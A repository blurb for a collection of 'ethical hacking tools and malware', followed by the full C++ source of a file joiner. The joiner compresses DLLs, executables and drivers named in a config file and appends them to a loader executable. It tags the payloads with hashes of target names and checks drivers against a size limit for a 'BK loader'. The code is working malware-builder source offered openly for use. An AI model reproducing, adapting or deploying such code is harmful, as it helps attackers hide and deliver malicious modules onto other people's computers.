This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// File Joiner utility.
//
// module: fj.cpp
// $Revision: 88 $
// $Date: 2012-08-14 19:07:32 +0400 (Вт, 14 авг 2012) $
// description:
// Main module.
// Allows to attach multiple files to one executable.
#include <tchar.h>
#include <iostream>
#include <windows.h>
#include <imagehlp.h>
#include "..\inc\dbg.h"
#include "pesup.h"
#pragma warning(disable:4200) // nonstandard extension used : zero-sized array in struct/union
#pragma warning(disable:4996) // This function or variable may be unsafe.
#include "joiner.h"
#define _CRT_OUT
using namespace std;
#define szDll "DLL:"
#define szExe "EXE:"
#define szDrv "DRV:"
#define szRun "RUN:"
#define szReg "REG:"
#define szBin "BIN:"
#define szSrc "SOURCE:"
#define szOut "OUT:"
#define szIni "INI:"
#define szBkPack "bkpack.exe %s %s"
#define TARGET_DATA_SIZE 0x400
#define TARGET_MAX_HASHES 32
typedef struct _TARGET_MODULE
{
PCHAR PackedModule;
ULONG PackedSize;
ULONG OriginalSize;
ULONG ModuleFlags;
ULONG ModuleId;
ULONG NumberHashes;
ULONG Hash[TARGET_MAX_HASHES];
} TARGET_MODULE, *PTARGET_MODULE;
LPTSTR g_OutPath = NULL;
LPTSTR g_SourcePath = NULL;
VOID About(VOID)
{
cout << "Image joiner utility. Version 1.0" << endl;
cout << "USE: fj <source executable path> <config file path> <result file path>" << endl;
}
ULONG Crc32(PCHAR pMem, ULONG uLen)
{
ULONG I, C;
ULONG dwSeed = -1;
while( uLen-- )
{
C = *pMem;
pMem = pMem + 1;
for( I = 0; I < 8; I++ )
{
if ( (dwSeed ^ C) & 1 )
dwSeed = (dwSeed >> 1) ^ 0xEDB88320;
else
dwSeed = (dwSeed >> 1);
C >>= 1;
}
}
return((ULONG)dwSeed);
}
ULONG LoadFile(LPTSTR FileName, PCHAR* pBuffer)
{
ULONG Written, BufferSize = 0, Size;
PCHAR Buffer = NULL;
HANDLE hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
Size = GetFileSize(hFile, NULL);
if (Buffer = (PCHAR)vAlloc(Size))
{
if (ReadFile(hFile, Buffer, Size, &Written, NULL))
{
*pBuffer = Buffer;
BufferSize = Size;
}
else
vFree(Buffer);
}
CloseHandle(hFile);
} // if (hFile != INVALID_HANDLE_VALUE)
return(BufferSize);
}
LPTSTR CreateTempFile(PCHAR Content, ULONG Size)
{
HANDLE hTempFile = 0;
LPTSTR TempFilePath = NULL;
ULONG bSize;
BOOL Success = FALSE;
if (TempFilePath = (LPTSTR)Alloc(PAGE_SIZE))
{
if (bSize = GetTempPath(PAGE_SIZE / sizeof(_TCHAR), TempFilePath))
{
TempFilePath[bSize] = 0;
if (GetTempFileName(TempFilePath, NULL, GetTickCount(), TempFilePath))
{
hTempFile = CreateFile(TempFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, 0);
if (hTempFile != INVALID_HANDLE_VALUE)
{
Success = WriteFile(hTempFile, Content, Size, &bSize, NULL);
CloseHandle(hTempFile);
}
} // if (GetTempFileName(TempFilePath, NULL, 0, TempFilePath))
} // if (bSize = GetTempPath(PAGE_SIZE / sizeof(_TCHAR), TempFilePath))
} // if (TempFilePath = LocalAlloc(PAGE_SIZE))
if (!Success)
{
if (TempFilePath)
Free(TempFilePath);
TempFilePath = NULL;
}
return(TempFilePath);
}
ULONG PackBuffer(PCHAR Buffer, ULONG Size, PCHAR* pPacked)
{
ULONG PackedSize = 0;
PCHAR Packed = NULL, WorkMem = NULL;
ASSERT(Size);
if (WorkMem = (PCHAR)Alloc(aP_workmem_size(Size)))
{
if (Packed = (PCHAR)Alloc(aP_max_packed_size(Size)))
{
PackedSize = aP_pack(Buffer, Packed, Size, WorkMem, NULL, NULL);
if (PackedSize)
*pPacked = Packed;
else
Free(Packed);
} // if (Packed = (PCHAR)Alloc(aP_max_packed_size(Size)))
Free(WorkMem);
} // if (WorkMem = (PCHAR)Alloc(aP_workmem_size(Size)))
return(PackedSize);
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Removes spaces and special symbols from the beginning and the end of the specified string.
//
PCHAR strspace(PCHAR Str)
{
ULONG Len;
while(Str[0] > 0 && Str[0] < '.')
Str += 1;
if (Len = (ULONG)strlen(Str))
{
while(Str[Len-1] > 0 && Str[Len-1] < '0')
{
Len -= 1;
Str[Len] = 0;
}
}
return(Str);
}
ULONG CheckPeModule(PCHAR Module)
{
ULONG ModuleFlags = 0;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Module;
PIMAGE_NT_HEADERS Pe = NULL;
do
{
ULONG Flags = 0;
if (DosHeader->e_magic != IMAGE_DOS_SIGNATURE)
break;
Pe = (PIMAGE_NT_HEADERS)PeSupGetImagePeHeader(DosHeader);
if (Pe->Signature != IMAGE_NT_SIGNATURE)
break;
if (Pe->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
Flags |= PE_FLAG_X64;
else if (Pe->FileHeader.Machine != IMAGE_FILE_MACHINE_I386)
break;
if (Pe->FileHeader.Characteristics & IMAGE_FILE_DLL)
Flags |= PE_FLAG_DLL;
if (IMAGE_SUBSYSTEM_NATIVE == PeSupGetOptionalField(Pe, Subsystem))
Flags |= PE_FLAG_NATIVE;
ModuleFlags = Flags | PE_FLAG_VALID;
} while(FALSE);
return(ModuleFlags);
}
PTARGET_MODULE AllocateTarget(
PCHAR ModulePath,
BOOL CheckPe,
BOOL PackIt
)
{
PTARGET_MODULE Tm = NULL;
PCHAR Target = NULL;
BOOL Ret = FALSE;
PCHAR ShortPath;
do
{
if (!(Tm = (PTARGET_MODULE)Alloc(sizeof(TARGET_MODULE))))
break;
memset(Tm, 0, sizeof(TARGET_MODULE));
if (!(Tm->OriginalSize = LoadFile(ModulePath, &Target)))
break;
if (CheckPe && (!(Tm->ModuleFlags = CheckPeModule(Target))))
break;
if (PackIt)
{
if (!(Tm->PackedSize = PackBuffer(Target, Tm->OriginalSize, &Tm->PackedModule)))
break;
Tm->ModuleFlags |= TARGET_FLAG_PACKED;
}
else
{
if (!(Tm->PackedModule = (PCHAR)Alloc(Tm->OriginalSize)))
break;
memcpy(Tm->PackedModule, Target, (Tm->PackedSize = Tm->OriginalSize));
}
if (ShortPath = strrchr(ModulePath, '\\'))
ShortPath += 1;
else
ShortPath = ModulePath;
Tm->ModuleId = Crc32(_strupr(ShortPath), lstrlen(ShortPath));
Ret = TRUE;
} while(FALSE);
if (Tm && !Ret)
{
Free(Tm);
Tm = NULL;
}
if (Target)
UnmapViewOfFile(Target);
return(Tm);
}
VOID FreeTarget(PTARGET_MODULE Tm)
{
if (Tm->PackedModule && Tm->PackedSize)
Free(Tm->PackedModule);
Free(Tm);
}
WINERROR AddTarget(PTARGET_MODULE Tm, PCHAR* pLoader, PULONG pLoaderSize, BOOL IsProcess)
{
BOOL Ret = FALSE;
WINERROR Status = ERROR_BAD_EXE_FORMAT;
ULONG ResultSize = 0, LoaderSize = *pLoaderSize;
PCHAR Result, Loader = *pLoader;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Loader;
PIMAGE_NT_HEADERS Pe;
ULONG FileAlign, SecAlign, ImageSize, VirtualSize, SizeOfHeaders;
PIMAGE_SECTION_HEADER Section;
PADDON_DESCRIPTOR ADesc;
ULONG ModuleFlags;
do // not a loop
{
if (*pLoader == NULL || *pLoaderSize == 0)
{
Status = ERROR_INVALID_PARAMETER;
cout << "No source file specified." << endl;
break;
}
Status = ERROR_BAD_EXE_FORMAT;
if (!(ModuleFlags = CheckPeModule(Loader)))
break;
if (ModuleFlags & TARGET_FLAG_BINARY)
{
if((ModuleFlags & PE_FLAG_NATIVE) && ((Tm->ModuleFlags & PE_FLAG_X64) && !(ModuleFlags & PE_FLAG_X64)))
break;
if (((Tm->ModuleFlags & PE_FLAG_DLL) && IsProcess) || (!(Tm->ModuleFlags & PE_FLAG_DLL) && !IsProcess))
break;
}
Pe = (PIMAGE_NT_HEADERS)PeSupGetImagePeHeader(DosHeader);
Status = ERROR_UNSUCCESSFULL;
FileAlign = PeSupGetOptionalField(Pe, FileAlignment);
SecAlign = PeSupGetOptionalField(Pe, SectionAlignment);
ImageSize = PeSupGetOptionalField(Pe, SizeOfImage);
SizeOfHeaders = PeSupGetOptionalField(Pe, SizeOfHeaders);
ResultSize = PeSupAlign(LoaderSize + Tm->PackedSize, FileAlign);
if (!(Result = (PCHAR)vAlloc(ResultSize)))
break;
memcpy(Result, Loader, LoaderSize);
memcpy(Result + LoaderSize, Tm->PackedModule, Tm->PackedSize);
memset(Result + LoaderSize + Tm->PackedSize, 0, ResultSize - Tm->PackedSize - LoaderSize);
Pe = (PIMAGE_NT_HEADERS)PeSupGetImagePeHeader(Result);
Section = (PIMAGE_SECTION_HEADER)PeSupGetSectionTable(Pe);
Section += PeSupGetNumberOfSections(Pe) - 1;
ADesc = FirstAddonDescriptor(Result);
while(ADesc->Magic == ADDON_MAGIC)
ADesc = NextAddonDescriptor(ADesc);
while(ADesc->Magic != 0 && ((PCHAR)(ADesc + 1) <= (Result + SizeOfHeaders)))
ADesc += 1;
if ((PCHAR)(ADesc + 1) > (Result + SizeOfHeaders))
break;
ADesc->Magic = ADDON_MAGIC;
ADesc->ImageRva = LoaderSize - Section->PointerToRawData + Section->VirtualAddress;
ADesc->ImageSize = Tm->OriginalSize;
ADesc->Flags = Tm->ModuleFlags;
ADesc->ImageId = Tm->ModuleId;
if (ADesc->NumberHashes = (USHORT)Tm->NumberHashes)
memcpy(&ADesc->Hash, &Tm->Hash, Tm->NumberHashes * sizeof(ULONG));
Section->SizeOfRawData = PeSupAlign(Section->SizeOfRawData + Tm->PackedSize, FileAlign);
VirtualSize = PeSupAlign(Section->SizeOfRawData, SecAlign);
PeSupSetOptionalField(Pe, SizeOfImage, PeSupGetOptionalField(Pe, SizeOfImage) - PeSupAlign(Section->Misc.VirtualSize, SecAlign) + VirtualSize);
Section->Misc.VirtualSize = VirtualSize;
Section->Characteristics &= (~IMAGE_SCN_MEM_DISCARDABLE);
if (PeSupGetOptionalField(Pe, CheckSum))
{
ULONG HeaderSum, FileSum;
if (Pe = CheckSumMappedFile(Result, ResultSize, &HeaderSum, &FileSum))
PeSupSetOptionalField(Pe, CheckSum, FileSum);
}
vFree(Loader);
*pLoader = Result;
*pLoaderSize = ResultSize;
Status = NO_ERROR;
} while(FALSE);
if (Status == ERROR_UNSUCCESSFULL)
Status = GetLastError();
if (Status == NO_ERROR)
{
cout << "Target successfully joined." << endl;
}
else
{
cout << "ERROR: Failed joining the target, status: " << Status << endl;
}
return(Status);
}
BOOL PackFile(PCHAR FilePath)
{
STARTUPINFO Si = {0};
PROCESS_INFORMATION Pi = {0};
BOOL Ret = FALSE;
PCHAR CmdLine;
if (CmdLine = (PCHAR)Alloc(lstrlen(szBkPack) + (lstrlen(FilePath) * 2) + 1 + 1))
{
wsprintf(CmdLine, szBkPack, FilePath, FilePath);
Si.cb = sizeof(STARTUPINFO);
if (Ret = CreateProcess(NULL, CmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &Si, &Pi))
{
WaitForSingleObject(Pi.hProcess, INFINITE);
CloseHandle(Pi.hThread);
CloseHandle(Pi.hProcess);
}
Free(CmdLine);
}
return(Ret);
}
ULONG GetTaregtFileSize(PCHAR FilePath)
{
HANDLE hFile = CreateFileA(FilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
ULONG FileSize = 0;
if (hFile != INVALID_HANDLE_VALUE)
{
FileSize = GetFileSize(hFile, NULL);
CloseHandle(hFile);
}
return(FileSize);
}
BOOL ProcessConfig(HANDLE hConfig, PCHAR* pLoader, PULONG pLoaderSize, BOOL IsSub)
{
BOOL IsProcess = FALSE, Ret = FALSE, Leave = FALSE;
PCHAR Str, cStr, cStr1, cStr2;
ULONG Line = 0, Len = 0;
PTARGET_MODULE TargetDll = NULL;
fpos_t fPos;
if (Str = (PCHAR)Alloc(MAX_PATH))
{
while(!fgetpos((FILE*)hConfig, &fPos) && fgets(Str, MAX_PATH, (FILE*)hConfig))
{
ULONG TargetFlags = TARGET_FLAG_PACKED;
Line += 1;
Ret = TRUE;
cStr = strspace(Str);
while (cStr[0] != 0)
{
if (cStr[0] == ';') // skipping commented string
break;
cStr1 = strchr(cStr, ' ');
cStr2 = strchr(cStr, 9);
if (cStr1 == NULL)
cStr1 = cStr2;
if ((cStr2) && (cStr1 > cStr2))
cStr1 = cStr2;
if (cStr1) // more
{
cStr1[0] = 0;
cStr1 += 1;
cStr1 = strspace(cStr1);
if (_stricmp(cStr, szOut) == 0)
{
if (g_OutPath = (LPTSTR)Alloc(strlen(cStr1) + 1))
lstrcpy(g_OutPath, cStr1);
break;
} // if (_stricmp(cStr, szOut) == 0)
if (_stricmp(cStr, szSrc) == 0)
{
if (*pLoaderSize)
{
cout << "Conflicting source files specified." << endl;
Ret = FALSE;
break;
}
if (!(*pLoaderSize = LoadFile(cStr1, pLoader)))
{
cout << "Unable to open source file: " << cStr1;
Ret = FALSE;
}
break;
} // if (_stricmp(cStr, szSrc) == 0)
if (_stricmp(cStr, szReg) == 0)
{
TARGET_MODULE Target = {0};
Target.PackedModule = cStr1;
Target.PackedSize = (ULONG)strlen(cStr1);
Target.OriginalSize = (ULONG)strlen(cStr1);
Target.ModuleFlags = TARGET_FLAG_BINARY;
cout << "Processing target string: " << cStr1 << endl;
if (AddTarget(&Target, pLoader, pLoaderSize, FALSE) == NO_ERROR)
continue;
else
{
Ret = FALSE;
break;
}
} // if (_stricmp(cStr, szReg) == 0)
if (_stricmp(cStr, szBin) == 0 || _stricmp(cStr, szIni) == 0)
{
PTARGET_MODULE Target;
WINERROR Error;
// if (IsSub)
// {
// fsetpos((FILE*)hConfig, &fPos);
// Leave = TRUE;
// break;
// }
cout << "Processing target BINARY: " << cStr1 << endl;
if (!(Target = AllocateTarget(cStr1, FALSE, (_stricmp(cStr, szIni) == 0 ? FALSE : TRUE))))
{
cout << "ERROR: Unable to allocate target:" << cStr1 << endl;
Ret = FALSE;
break;
}
Target->ModuleFlags = TARGET_FLAG_BINARY | TARGET_FLAG_PACKED;
Error = AddTarget(Target, pLoader, pLoaderSize, TRUE);
FreeTarget(Target);
if (Error != NO_ERROR)
Ret = FALSE;
break;
} // if (_stricmp(cStr, szBin) == 0)
if (_stricmp(cStr, szDrv) == 0)
{
PCHAR Driver;
ULONG DriverSize;
if (IsSub)
{
fsetpos((FILE*)hConfig, &fPos);
Leave = TRUE;
break;
}
if (!(DriverSize = LoadFile(cStr1, &Driver)) || !ProcessConfig(hConfig, &Driver, &DriverSize, TRUE))
{
cout << "Unable to process driver: " << cStr1;
Ret = FALSE;
break;
}
if (!(cStr1 = CreateTempFile(Driver, DriverSize)))
{
cout << "Unable to create temporary file.";
Ret = FALSE;
break;
}
PackFile(cStr1);
if (GetTaregtFileSize(cStr1) >= 122880)
{
cout << "Target file is too large for BK loader.";
Ret = FALSE;
break;
}
IsProcess = TRUE;
TargetFlags |= TARGET_FLAG_DRV;
}
else
{
if (_stricmp(cStr, szRun) == 0)
{
if (IsSub)
{
fsetpos((FILE*)hConfig, &fPos);
Leave = TRUE;
break;
}
TargetFlags |= TARGET_FLAG_RUN;
IsProcess = TRUE;
}
else if (_stricmp(cStr, szExe) == 0)
{
TargetFlags |= TARGET_FLAG_EXE;
IsProcess = TRUE;
}
else
IsProcess = FALSE;
}
if (IsProcess || (_stricmp(cStr, szDll) == 0))
{
if (TargetDll)
{
// Finishing current target DLL info
// ASSERT(!IsProcess);
if (AddTarget(TargetDll, pLoader, pLoaderSize, FALSE) != NO_ERROR)
{
Ret = FALSE;
}
FreeTarget(TargetDll);
TargetDll = NULL;
} // if (TargetDll)
// Allocating new target info
if (IsProcess)
cout << "Processing target PROCESS: " << cStr1 << endl;
else
cout << "Processing target DLL: " << cStr1 << endl;
if (!(TargetDll = AllocateTarget(cStr1, TRUE, TRUE)))
cout << "ERROR: Unable to allocate target:" << cStr1 << endl;
else if (IsProcess)
{
TargetDll->ModuleFlags |= TargetFlags;
// Finishing current target process info
if (AddTarget(TargetDll, pLoader, pLoaderSize, TRUE) != NO_ERROR)
Ret = FALSE;
FreeTarget(TargetDll);
TargetDll = NULL;
}
break;
} // if ((stricmp(cStr, szDLL) == 0) || IsProcess)
} // if (cStr1)
if (Len = (ULONG)strlen(cStr))
{
if (!TargetDll)
{
Ret = FALSE;
break;
}
TargetDll->Hash[TargetDll->NumberHashes] = Crc32(_strupr(cStr), Len);
TargetDll->NumberHashes += 1;
}
cStr[0] = 0;
if (cStr1)
cStr = cStr1;
} // while (cStr[0] != 0)
if (Leave || !Ret)
break;
} // while(fgets(Str, MAX_PATH, File))
Free(Str);
if (Ret && TargetDll)
AddTarget(TargetDll, pLoader, pLoaderSize, FALSE);
} // if (Str = (PCHAR)Alloc(MAX_PATH))
return(Ret);
}
#pragma warning(disable:4996) // 'fopen': This function or variable may be unsafe...
int _tmain(int argc, _TCHAR* argv[])
{
LPTSTR ConfigName, Flags = NULL;
HANDLE hFile = 0;
WINERROR Status = NO_ERROR;
BOOL Ret = FALSE;
PCHAR Loader = NULL;
ULONG LoaderSize = 0, ResultSize = 0;
if (argc == 2)
ConfigName = argv[1];
else if (argc == 4)
{
g_SourcePath = argv[1];
ConfigName = argv[2];
g_OutPath = argv[3];
}
else
{
Status = ERROR_INVALID_PARAMETER;
cout << "Invalid number of parameters." << endl;
}
while (Status == NO_ERROR)
{
FILE* hConfig;
if (!(hConfig = fopen(ConfigName,"r")))
{
cout << "Unable to open config file: " << ConfigName;
break;
}
if (g_SourcePath && (!(LoaderSize = LoadFile(g_SourcePath, &Loader))))
{
cout << "Unable to open source file: " << g_SourcePath;
break;
}
cout << "Parsing config file: " << ConfigName << endl;
Ret = ProcessConfig(hConfig, &Loader, &LoaderSize, FALSE);
fclose(hConfig);
if (!g_OutPath)
{
Status = ERROR_INVALID_PARAMETER;
cout << "No output file specified.";
break;
}
DeleteFile(g_OutPath);
hFile = CreateFile(g_OutPath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
cout << "Unable to open output file: " << g_OutPath;
break;
}
if (!LoaderSize || (!(WriteFile(hFile, Loader, LoaderSize, &ResultSize, NULL))))
{
cout << "Unable to write output file: " << g_OutPath;
break;
}
CloseHandle(hFile);
Status = NO_ERROR;
break;
} // while (Status == NO_ERROR)
if (Loader)
vFree(Loader);
if (Status == ERROR_UNSUCCESSFULL)
{
Status = GetLastError();
cout << "Error: " << Status << endl;
}
return(Status);
}